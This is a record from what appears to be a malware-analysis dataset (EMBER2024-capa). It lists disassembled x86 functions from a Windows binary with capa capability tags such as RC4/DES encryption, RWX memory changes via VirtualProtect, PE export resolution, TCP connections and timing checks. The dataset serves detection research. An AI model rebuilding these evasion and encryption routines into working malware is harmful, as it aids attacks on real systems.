joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x40152a
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x401586
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040152a
test eax, eax
jne 0x401620
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x4020b6
sub eax, 0x401654
mov dword [esp], 0x401654
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x401620
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401420
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014a3
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401db9
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x40206c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x4020b1
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x4020b7
add eax, 4
pop esi
dec esi
push esi
jne 0x402099
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x40264a
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.004027fa
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x402748
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4026eb
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x40272e
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x402702
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40271d
test al, 0x40
je 0x402714
mov ecx, dword [edi + 0x20]
jmp 0x40271b
test al, 0x80
je 0x40272e
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x40272e
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x4026ba
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x40c790
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0042dc43
test eax, eax
jne 0x40c82a
push str.Fatal_Error:_MFC_initialization_failed
push 0x8e6bf8
call fcn.0040cab0
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.0040c850
mov eax, dword [esi]
xor edi, edi
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
mov cl, byte [ecx + esi + 4]
test cl, 6
jne 0x40c7fe
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x40c7fe
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
test edi, edi
je 0x40c81f
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, edi
test edx, edx
jne 0x40c817
or al, 4
push 0
push eax
call fcn.00426e74
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0040cd70
mov dword [0x8c2d4c], esp
mov dword [0x8c2d50], ebp
call fcn.0040c639
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40d4d0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x40d4ee
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x40d4e3
pop esi
ret

Function at 0x40d910
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x40d979
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.0040cf50
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret

Function at 0x40e120
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.0040cf00
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x40e177
push ebx
push edi
call fcn.0040d010
push esi
mov ebx, esi
call fcn.0040cf00
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x40e14e
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x40e1b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x40e242
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x40e234
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x40e22c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x40e1f5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
Function at 0x40e4b0
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x40e4bd
xor eax, eax
pop esi
ret
push esi
call dword [0x8bd020]
add esp, 4
test eax, eax
jne 0x40e4cd
pop esi
ret
cmp eax, 1
jne 0x40e4db
cmp byte [esi], 0x5c
jne 0x40e4db
xor eax, eax
pop esi
ret
push esi
call fcn.0040e260
add esp, 4
test eax, eax
je 0x40e4ef
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret

Function at 0x40e510
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 0x10]
sub esp, 0xc
test ecx, ecx
mov eax, 0xfffffff5
je 0x40e52c
cmp dword [esp + 0x14], 2
jne 0x40e52c
mov eax, 0xfffffff4
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
test ebp, ebp
je 0x40e5f7
mov eax, dword [esp + 0x14]
cmp eax, 1
jle 0x40e5f7
push ebx
push esi
push edi
lea edi, [esp + 0x30]
dec eax
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], eax
mov eax, dword [edi + 8]
mov dword [esp + 0x10], 0
cmp eax, reloc.WSOCK32.dll_connect
jne 0x40e571
mov ebx, dword [edi]
jmp 0x40e588
push edi
call fcn.00410790
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40e5de
mov dword [esp + 0x10], 1
push ebx
call dword [0x8bd020]
mov esi, eax
add esp, 4
test esi, esi
jbe 0x40e5cd
mov edi, ebx
mov eax, 0x400
mov dword [esp + 0x20], 0
cmp esi, eax
jae 0x40e5ad
mov eax, esi
lea ecx, [esp + 0x20]
push 0
push ecx
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x20]
sub esi, eax
add edi, eax
test esi, esi
ja 0x40e59a
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40e5de
push ebx
call fcn.00419e7e
add esp, 4
mov eax, dword [esp + 0x18]
add edi, 0xc
dec eax
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], eax
jne 0x40e55b
pop edi
pop esi
pop ebx
pop ebp
add esp, 0xc
ret

Function at 0x40fde0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, edx
push esi
push edi
mov esi, ebp
xor edi, edi
and esi, 3
mov eax, ecx
jle 0x40fe01
mov dl, byte [eax]
inc eax
cmp dl, bl
je 0x40fe5b
inc edi
cmp edi, esi
jl 0x40fdf5
mov edi, ebx
and edi, 0xff
mov esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
lea edi, [ecx + ebp]
cmp eax, edi
jae 0x40fe90
mov edx, dword [eax]
xor edx, esi
lea ebp, [edx - 0x1010101]
not edx
and ebp, edx
test ebp, 0x80808080
je 0x40fe4a
cmp byte [eax], bl
je 0x40fe65
cmp byte [eax + 1], bl
je 0x40fe6e
cmp byte [eax + 2], bl
je 0x40fe78
cmp byte [eax + 3], bl
je 0x40fe84
add eax, 4
cmp eax, edi
jb 0x40fe21
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
dec eax
pop ebx
ret 4
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
inc eax
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 2
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 3
pop ebx
ret 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
Function at 0x4110d0
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x38]
push ebp
mov ebp, dword [esp + 0x40]
push esi
push edi
xor edi, edi
cmp ebx, 1
jne 0x4110fa
test ebp, ebp
jg 0x4110f4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
lea eax, [ebp + 1]
push eax
jmp 0x4110fc
push 2
call fcn.00419f67
mov esi, eax
add esp, 4
test esi, esi
jne 0x411112
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
jne 0x41112e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
mov eax, dword [esp + 0x30]
test eax, eax
je 0x41116f
cmp dword [eax], 0
jle 0x41116f
mov ecx, dword [eax + 4]
test ecx, ecx
jle 0x41116f
mov cx, word [eax]
mov dx, word [eax + 4]
mov word [esp + 0x44], cx
mov ecx, dword [esp + 0x2c]
mov word [esp + 0x46], dx
mov eax, dword [esp + 0x44]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
test eax, eax
jne 0x41116f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
cmp dword [esp + 0x34], 1
jne 0x41117e
mov edx, dword [esp + 0x14]
mov dword [esp + 0x44], edx
call fcn.0042800f
mov edx, 1
cmp ebx, edx
jne 0x41119e
cmp al, 0xd
je 0x4111cf
lea ecx, [edi + 1]
mov byte [esi + edi], al
cmp ecx, ebp
je 0x4111df
mov edi, ecx
jmp 0x4111a4
mov byte [esi], al
mov byte [esi + 1], 0
cmp dword [esp + 0x38], edx
jne 0x4111c8
cmp dword [esp + 0x3c], edx
jne 0x4111bc
mov eax, dword [esp + 0x40]
push eax
call fcn.0041b10a
jmp 0x4111c5
movsx ecx, al
push ecx
call fcn.0041b0ff
add esp, 4
cmp ebx, 1
jne 0x4111e4
jmp 0x41117e
push 0xa
mov byte [esi + edi], 0
call fcn.0041b0ff
add esp, 4
jmp 0x4111e4
mov byte [esi + edi + 1], 0
cmp dword [esp + 0x34], 1
jne 0x4111fb
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x2c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x411290
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4112f6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4112f6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4112d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x411680
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4116b8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x4123f0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WSOCK32.dll_select
cmp eax, 0xffffffff
jne 0x412439
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4128b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42f5d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00412460
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004124e0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004124e0
lea ecx, [esi + 0xc]
call fcn.004293c4
lea ecx, [esi + 0x10]
call fcn.004293c4
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00413a80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00413a80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00413a80
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00429439
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00429439
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x413ca0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 8
xor ecx, ecx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x18]
mov byte [eax + ebp], al
inc eax
cmp eax, 0x100
jl 0x413cac
mov eax, dword [esp + 0x14]
mov byte [ebp + 0x100], cl
cmp eax, ecx
mov byte [ebp + 0x101], cl
jle 0x413d3f
push ebx
push esi
push edi
mov byte [esp + 0x24], cl
xor esi, esi
mov ebx, ebp
mov dword [esp + 0x10], 0x100
mov edi, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
and edi, 0xff
xor eax, eax
xor edx, edx
mov al, byte [edi + ecx]
mov dl, byte [ebx]
add esi, eax
add edx, esi
and edx, 0x800000ff
jns 0x413d09
dec edx
or edx, 0xffffff00
inc edx
mov byte [esp + 0x14], dl
mov esi, dword [esp + 0x14]
and esi, 0xff
lea eax, [esi + ebp]
push eax
push ebx
call fcn.00413d50
lea eax, [edi + 1]
add esp, 8
cdq
idiv dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc ebx
dec eax
mov dword [esp + 0x10], eax
mov byte [esp + 0x24], dl
jne 0x413cde
pop edi
pop esi
pop ebx
pop ebp
add esp, 8
ret

Function at 0x413d70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0xc
mov edx, dword [esp + 0x14]
push ebx
push esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
mov al, byte [esi + 0x100]
mov cl, byte [esi + 0x101]
test edx, edx
mov byte [esp + 0x20], al
mov byte [esp + 8], cl
jle 0x413e6d
push ebp
mov ebp, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x28]
and edi, 0xff
and ebp, 0xff
lea eax, [edi + 1]
and eax, 0x800000ff
jns 0x413dc2
dec eax
or eax, 0xffffff00
inc eax
mov byte [esp + 0x28], al
xor ecx, ecx
mov edi, dword [esp + 0x28]
and edi, 0xff
mov cl, byte [edi + esi]
lea eax, [edi + esi]
add ecx, ebp
mov dword [esp + 0x18], eax
and ecx, 0x800000ff
jns 0x413dee
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ebp, dword [esp + 0x10]
and ebp, 0xff
lea ecx, [esi + ebp]
push ecx
push eax
mov dword [esp + 0x1c], ecx
call fcn.00413d50
mov eax, dword [esp + 0x1c]
xor edx, edx
xor ecx, ecx
add esp, 8
mov dl, byte [eax]
mov eax, dword [esp + 0x18]
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x413e2f
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [esp + 0x20]
and edx, 0xff
mov cl, byte [edx + esi]
mov dl, byte [ebx + eax]
xor dl, cl
mov byte [ebx + eax], dl
mov eax, dword [esp + 0x24]
inc ebx
cmp ebx, eax
jl 0x413db1
mov dl, byte [esp + 0x28]
mov al, byte [esp + 0x10]
pop edi
mov byte [esi + 0x100], dl
mov byte [esi + 0x101], al
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
mov byte [esi + 0x100], al
mov byte [esi + 0x101], cl
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x414e30
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x8bd40c]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x414e43
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x414e84
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x8bd4b4]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x414eb6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x414eba
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x414eab
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x414ed8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x414edc
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x414ecd
xor ecx, ecx
mov eax, 0x8bd41c
xor ebx, ebx
mov bl, byte [ecx + 0x8bd4c4]
cmp byte [esp + ebx + 0x14], 0
je 0x414f07
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x8bd4dc]
cmp byte [esp + ebx + 0x14], 0
je 0x414f1e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x414eee
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x414e77
lea edx, [esp + 0x84]
push edx
call fcn.00414f60
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x4173d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
mov ecx, dword [esp + 0x1c]
mov esi, eax
xor eax, eax
push ecx
mov dword [esp + 8], eax
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
call sub.WSOCK32.dll_inet_addr
mov edx, dword [esp + 0x20]
mov dword [esp + 8], eax
push edx
call sub.WSOCK32.dll_htons
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push esi
call sub.WSOCK32.dll_connect
test eax, eax
jne 0x41742f
mov eax, esi
pop esi
add esp, 0x10
ret
push esi
call sub.WSOCK32.dll_closesocket
xor eax, eax
pop esi
add esp, 0x10
ret

Function at 0x417590
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
lea eax, [esp + 0x1c]
push ebx
push esi
push edi
push eax
push 1
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x4176b3
mov ebx, dword [esp + 0x1c0]
test ebx, ebx
jl 0x4176b3
cmp ebx, 0xffff
jg 0x4176b3
mov edi, dword [esp + 0x1c4]
push edi
call fcn.00418720
add esp, 4
cmp eax, 1
jne 0x417600
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x417616
lea ecx, [esp + 0x14]
push ecx
push edi
call fcn.00418910
add esp, 8
test eax, eax
je 0x4176b3
mov esi, dword [esp + 0x1bc]
xor edx, edx
lea ecx, [esp + 0x14]
push ebx
lea eax, [esi + 0x34]
push ecx
push esi
mov dword [eax], edx
mov byte [eax + 4], dl
call fcn.004173d0
add esp, 0xc
mov dword [esi + 0xc], eax
test eax, eax
je 0x4176b3
push eax
call fcn.00417910
push esi
lea edx, [esp + 0x18]
push 0x417440
push edx
mov dword [esi + 0x10], 0
call fcn.00418960
mov eax, dword [esp + 0x20]
add esp, 0x10
mov dword [esi + 0x14], eax
mov eax, dword [esi + 4]
test eax, eax
jne 0x41769c
push esi
lea ecx, [esp + 0x10]
push 0x4174b0
push ecx
call fcn.00418960
mov edx, dword [esp + 0x18]
push esi
lea eax, [esp + 0x1c]
push 0x417520
push eax
mov dword [esi + 0x18], edx
call fcn.00418960
mov ecx, dword [esp + 0x24]
add esp, 0x18
mov dword [esi + 0x1c], ecx
call fcn.00417300
mov dword [esi + 8], eax
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1ac
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1ac
ret
Function at 0x418910
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x41891f
ret
mov ecx, dword [eax + 0xc]
push esi
push edi
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.WSOCK32.dll_inet_ntoa
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x418960
Capabilities:
Create thread

Disassembly:
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
push 0
push ecx
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 4]
xor edx, edx
test eax, eax
setne dl
mov dword [ecx], eax
mov eax, edx
ret

Function at 0x418990
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x4189a9
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret

Function at 0x42e413
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42e441
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42e45f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042e379
jmp 0x42e45f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42e45f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0042e379
test edi, edi
mov eax, edi
jne 0x42e449
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8